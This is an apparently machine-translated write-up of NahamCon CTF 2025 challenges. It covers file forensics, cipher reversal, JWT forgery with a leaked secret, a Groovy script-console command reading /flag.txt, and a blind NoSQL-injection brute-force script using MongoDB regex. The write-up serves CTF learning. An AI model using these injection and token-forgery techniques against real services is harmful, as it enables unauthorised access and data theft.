iTranslated by AI

The content below is an AI-generated translation. This is an experimental feature, and may contain errors. View original article
🦔

NahamCon CTF 2025 Writeup

に公開

Quartet

  • You are given files named quartet.z01, quartet.z02, quartet.z03, and quartet.z04.
  • Using the file command reveals that these are Zip multi-volume archive data.
    • A ZIP file split into multiple parts.
  • Using the cat command to combine these 4 files into one, followed by unzip, allows you to extract quartet.jpeg.
  • After inspecting the image and finding nothing, using the strings command on quartet.jpeg reveals the flag.

Naham-Commencement 2025

  • You are provided with a page that authenticates a username and password on the client side.

  • The authentication logic is written in main.js.

  • According to main.js, the flag is output if the following conditions are met:

    • a and b are functions
    • a(username) = "dqxqcius"
    • b(password) = "YeaTtgUnzezBqiwa2025"
  • Function 'a' is a Caesar cipher.

  • It shifts characters by 16.

function a(t) {
    let r = '';
    for (let i = 0; i < t.length; i++) {
        const c = t[i];
        if (/[a-zA-Z]/.test(c)) {
            const d = c.charCodeAt(0);
            const o = (d >= 97) ? 97 : 65;
            const x = (d - o + 16) % 26 + o;
            r += String.fromCharCode(x);
        } else {
            r += c;
        }
    }
    return r;
}
  • Function 'b' is a Vigenere cipher with "nahamcon" as the key.
const k = "nahamcon";
function b(t, k) {
    let r = '';
    let j = 0;
    for (let i = 0; i < t.length; i++) {
        const c = t[i];
        if (/[a-zA-Z]/.test(c)) {
            const u = c === c.toUpperCase();
            const l = c.toLowerCase();
            const d = l.charCodeAt(0) - 97;
            const m = k[j % k.length].toLowerCase();
            const n = m.charCodeAt(0) - 97;
            const e = (d + n) % 26;
            let f = String.fromCharCode(e + 97);
            if (u) {
                f = f.toUpperCase();
            }
            r += f;
            j++;
        } else {
            r += c;
        }
    }
    return r;
}
  • Decrypting "dqxqcius" and "YeaTtgUnzezBqiwa2025" respectively yields the username and password.

Read the Rules

  • The flag was written as a comment in the Source of the Rules page.

Free Flags!

  • You are given a text file containing a large number of strings that look like flags.
  • Since the flag format is provided in the Rules, you can search for it using regular expressions.
  • In fact, only one entry matches the flag format.
cat free_flags.txt | grep -E "flag{[0-9a-f]{32}}"

Technical Support

  • Want to join the party of GIFs, memes, and emoji shenanigans? Or just want to ask a question for technical support regarding any challenges in the CTF?
  • This CTF uses support tickets to help handle requests. If you need assistance, please create a ticket with the #ctf-open-ticket channel. You do not need to direct message any CTF organizers or facilitators; they will just tell you to open a ticket. You might find a flag in the ticket channel, though!
  • I struggled because I couldn't find the #ctf-open-ticket channel.
  • Searching for "support" in the channel search bar reveals a channel called ctf-support.
  • I was able to find a post there that contained the flag.

Odessey

  • Connect via nc.
  • Pressing Enter outputs the next part of the Odyssey.
  • I kept Enter pressed to output a large amount of text and searched for the flag using Ctrl+F.

Screenshot

  • You are provided with the byte sequence of a ZIP file.
  • I used the OCR function of the Windows Snipping Tool to transcribe the characters and wrote them into a binary file.
  • I converted the byte sequence to binary and wrote it directly to output.bin using xxd.
    • xxd can dump binary files into hexadecimal or create binary files from byte sequence text.
echo '48656C6C6F2C20576F726C6421' | xxd -r -p > output.bin
  • I couldn't extract it with unzip, so I used 7z.

SNAD

  • Read script.js from the Developer Tools.
  • Placing the specified color of sand at seven coordinates will display the flag.
  • You just need to use toggleGravity() to turn gravity on and off, and injectSand(x, y, hue) to place the sand of the specified color at the specified coordinates to meet the conditions for displaying the flag.
  • Simply call the functions from the console as follows:
toggleGravity();
targetPositions.forEach(target => {
  injectSand(target.x, target.y, target.colorHue);
});
checkFlag(); 

CryptoClock

  • The server performs the following process:
    • Generates a random key using the time as a seed.
    • Outputs the XOR of the key and the flag (encrypted_flag).
    • Receives user input and outputs the XOR of the input and the key.
  • Since the key does not change, inputting a byte sequence of all zeros (000000...) reveals the key.
  • After that, you can decrypt the flag by XORing the key and the encrypted_flag locally.

The Martian

  • A mysterious file named challenge.martian was provided.
  • binwalk confirmed that it contained multiple files.
  • Using strings revealed the string ./extracted_flag.jpg.
    • I inferred that the flag was included as an image inside.
  • Extracting with binwalk -e yielded two JPEG image data files and two bqip2 compressed data files.
  • The two JPEG files cannot be opened as images in their current state.
  • Concatenating them allows them to be opened as a single JPG.
$ cat ./<file1> ./<file2> > aaa.jpg

Infinite Queue

  • Clicking the button to reserve a seat after entering an email address saves queue_token and queue_user_id to the browser's Local Storage.
    • Local Storage: A mechanism that allows JavaScript to store data persistently on the browser side.
  • The queue_token is in JWT (JSON Web Token) format.
    • A JWT consists of three elements: header, payload, and signature.
    • Each of the three elements is written in JSON format, BASE64 encoded, and connected by dots.
    • You can decode it all at once by inputting it into jwt.io.
    • You can also view the JSON by BASE64 decoding each element individually.
    • JWT is a mechanism for authentication and authorization. Unlike cookies, they are not sent automatically, so they have high CSRF resistance and allow for tampering detection because they include a signature.
  • The original queue_token looks like this:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiYUBiLmMiLCJxdWV1ZV90aW1lIjoxNzkxMDI3Mzk4LjYxODIwNCwiZXhwIjo1MzQ4MDU1ODc4fQ.09AO9ntH79K1v1d51SMOyVmMCralvfHfgfm8DSUWaoQ
  • Decoding this into JSON looks like this:
{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "user_id": "a@b.c",
  "queue_time": 1791027398.618204,
  "exp": 5348055878
}
  • I tried changing alg to "none" and editing the payload.
{
  "alg":"HS256",
  "typ":"JWT"
}
{
  "user_id": "admin",
  "queue_time": 1.0,
  "exp": 5348055206
}
ewogICJhbGciOiJub25lIiwKICAidHlwIjoiSldUIgp9.ewogICJ1c2VyX2lkIjogImFkbWluIiwKICAicXVldWVfdGltZSI6IDEuMCwKICAiZXhwIjogNTM0ODA1NTIwNgp9
  • The secret key appeared in an error message, so I tried signing the following content using it.
    • JWT_SECRET: 4A4Dmv4ciR477HsGXI19GgmYHp2so637XhMC
  • I inferred that it could be passed by shortening the queue_time. I also set user_id to "admin".
{
  "alg":"HS256",
  "typ":"JWT"
}
{
  "user_id": "admin",
  "queue_time": 1.0,
  "exp": 5348055206
}

Passing the JSON and key to CyberChef completes the signing as shown below:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.ewogICJ1c2VyX2lkIjogImFkbWluIiwKICAicXVldWVfdGltZSI6IDEuMCwKICAiZXhwIjogNTM0ODA1NTIwNgp9

Flagdle

  • Wordle with a flag.
  • If you brute-force all possibilities for a-z and 0-9, they will eventually all be filled in.
current_known_chars = ["_"] * FLAG_LENGTH

with requests.Session() as s:
	for char_to_test in CHARSET:
		# Construct the guess string
		guess_inner_parts = []
		for c in current_known_chars: 
			if c != "_":
				guess_inner_parts.append(c)
			else:
				guess_inner_parts.append(char_to_test)
		full_guess_str = "flag{" + "".join(guess_inner_parts) + "}"

		# Send POST request to the server
		response = s.post(URL, json={"guess": full_guess_str})
		response.raise_for_status()  # Raise an exception if there's an HTTP error
		emojis_result = response.json()["result"]
		print(f"{full_guess_str}{emojis_result}")

		# Update discovered characters based on emoji result
		for i in range(FLAG_LENGTH):
			if emojis_result[i] == "🟩" and current_known_chars[i] == "_":
				current_known_chars[i] = char_to_test

		# Wait to reduce server load
		time.sleep(SLEEP_DURATION)

		# End if all characters are found
		if "_" not in current_known_chars:
			break

Taken to School

  • I searched for events where the severity was 9-10, the event content was malware detection/RDP, and act=allowed.
  • I searched for the src IP of each event on VirusTotal.
    2024-12-22T15:07:40 CEF:0|PaloAltoNetworks|PAN-OS|8.3|44985|Trojan Signature Match|9|src=91.218.50.11 dst=192.168.113.2 spt=27660 dpt=443 proto=HTTPS act=allowed fileName=chemistry_notes.pdf eventHash=5b16c7044a22ed3845a0ff408da8afa9 cs1Label=threatType cs1=trojan
    https://www.virustotal.com/gui/ip-address/91.218.50.11
    VirusTotal score: -2

TMCB

  • I had Gemini-2.5-pro solve it.
  • I don't really get it.

Method In The Madness

  • It said "Method", so I sent requests with various methods via curl, and it eventually went through.
  • Perhaps I was supposed to send requests using 6 types of methods, including GET?
curl -X OPTIONS http://challenge.nahamcon.com:30588/interesting -i 
curl -X POST http://challenge.nahamcon.com:30588/interesting 
curl -X PUT http://challenge.nahamcon.com:30588/interesting 
curl -X DELETE http://challenge.nahamcon.com:30588/interesting
curl -X PATCH http://challenge.nahamcon.com:30588/interesting

The Best Butler

  • Inputting and executing the following script in the Script Console outputted the flag.
def proc = "cat /flag.txt".execute()
proc.waitFor()
println proc.in.text

NoSequel

  • You can send regular expressions like flag{*} using MongoDB regex.
  • If it matches the flag, a response indicating a match is returned.
  • This is a technique called Blind NoSQL Injection, where you fill in the flag character by character.
import requests

# Configuration
URL = "http://challenge.nahamcon.com:32129/search"
COLLECTION = "flags"

# Request headers
HEADERS = {
    'Content-Type': 'application/x-www-form-urlencoded',
}

# Characters used in the flag (hexadecimal)
HEX = "0123456789abcdef"

# Function to check if the pattern matches
def match(regex):
    data = {
        'query': f'flag: {{$regex: "{regex}"}}',
        'collection': COLLECTION
    }
    res = requests.post(URL, data=data, headers=HEADERS)
    return "Pattern matched" in res.text

# Function to find the flag
def find_flag():
    flag = ""

    # Brute-force each of the 32 hex characters
    for _ in range(32):
        for c in HEX:
            guess = f"flag{{{flag}{c}"
            if match(guess):
                flag += c
                print(f"\rFlag guessed: flag{{{flag}}}...", end="")
                break

    print()  
    print(f"answer: flag{{{flag}}}")

# Execution
find_flag()

My First CTF

  • Going to /flag.txt gives a "wrong" message.
  • There was a flag at /gmbh.uyu, which is /flag.txt ROT1'd.

Puzzle Pieces (Unsolved)

  • Use objdump to check the TimeStamp of the EXE files.
  • At this point, the files can be divided into three groups: 22:17, 22:18, and 22:19.
    • I anticipated that when combining files, they would be connected in chronological order.
└─$ objdump -p ./RSL30YP.exe  | grep -i time | head -n 1
Time/Date               Sat May 24 07:22:17 2025
└─$ objdump -p ./zjav5i20Uqdp.exe  | grep -i time | head -n 1
objdump: Warning: './' is a directory
Time/Date               Sat May 24 07:22:17 2025

└─$ objdump -p ./2w7JdChEy.exe  | grep -i time | head -n 1
Time/Date               Sat May 24 07:22:18 2025
└─$ objdump -p ./G6tE1a.exe  | grep -i time | head -n 1
Time/Date               Sat May 24 07:22:18 2025
└─$ objdump -p ./lWmDFh.exe  | grep -i time | head -n 1
Time/Date               Sat May 24 07:22:18 2025
└─$ objdump -p ./VUlyMSY2V5R57.exe  | grep -i time | head -n 1
Time/Date               Sat May 24 07:22:18 2025
└─$ objdump -p ./GM1z8JCY.exe  | grep -i time | head -n 1
Time/Date               Sat May 24 07:22:18 2025
└─$ objdump -p ./tETZLNWBfNDS.exe  | grep -i time | head -n 1
Time/Date               Sat May 24 07:22:18 2025

└─$ objdump -p ./bh9CdGYivv.exe  | grep -i time | head -n 1
Time/Date               Sat May 24 07:22:19 2025
└─$ objdump -p ./NUcrnJqvd4bYdL.exe  | grep -i time | head -n 1
Time/Date               Sat May 24 07:22:19 2025
  • Examine the differences between each file.
    • Investigating some combinations confirms that the 4 bytes starting from 99745 are different for everyone.
─$ cmp -l RSL30YP.exe zjav5i20Uqdp.exe
 99745 173 146
 99746  65 154
 99747  61 141
 99748  62 147
119417 311 171
119418 173  27
119419 306 256
119420 206 210
...

$ cmp -l G6tE1a.exe NUcrnJqvd4bYdL.exe
   257  32  33
 99745 142  71
 99746  70 142
 99747 142 146
 99748 144 141
118965  32  33
118993  32  33
119021  32  33
119417  15 243
...
  • Output the area where the differences between each file occur.
└─$ hexdump -s 99744 -n 6 -C zjav5i20Uqdp.exe
000185a0  66 6c 61 67 0a 00                                 |flag..|
000185a6
└─$ hexdump -s 99744 -n 6 -C RSL30YP.exe
000185a0  7b 35 31 32 0a 00                                 |{512..|

└─$ hexdump -s 99744 -n 6 -C tETZLNWBfNDS.exe
000185a0  38 39 63 39 0a 00                                 |89c9..|
└─$ hexdump -s 99744 -n 6 -C lWmDFh.exe
000185a0  66 61 66 66 0a 00                                 |faff..|

└─$ hexdump -s 99744 -n 6 -C VUlyMSY2V5R57.exe
000185a0  31 37 61 66 0a 00                                 |17af..|
└─$ hexdump -s 99744 -n 6 -C 2w7JdChEy.exe
000185a0  34 62 39 35 0a 00                                 |4b95..|
└─$ hexdump -s 99744 -n 6 -C GM1z8JCY.exe
000185a0  35 65 37 64 0a 00                                 |5e7d..|
└─$ hexdump -s 99744 -n 6 -C G6tE1a.exe
000185a0  62 38 62 64 0a 00                                 |b8bd..|

└─$ hexdump -s 99744 -n 6 -C NUcrnJqvd4bYdL.exe
000185a0  39 62 66 61 0a 00                                 |9bfa..|
└─$ hexdump -s 99744 -n 6 -C bh9CdGYivv.exe
000185a0  61 7d 0a 00 00 00                                 |a}....|
  • From these output results, the beginning and the end of the order can be predicted.
  • Beginning:
    • zjav5i20Uqdp.exe -> RSL30YP.exe
    • flag{512
  • End:
    • NUcrnJqvd4bYdL.exe -> bh9CdGYivv.exe
    • 9bfaa}
  • I want to deduce the order of the six in the middle from this sequence.

  • According to the writeup, I should have checked the creation time in milliseconds.

Discussion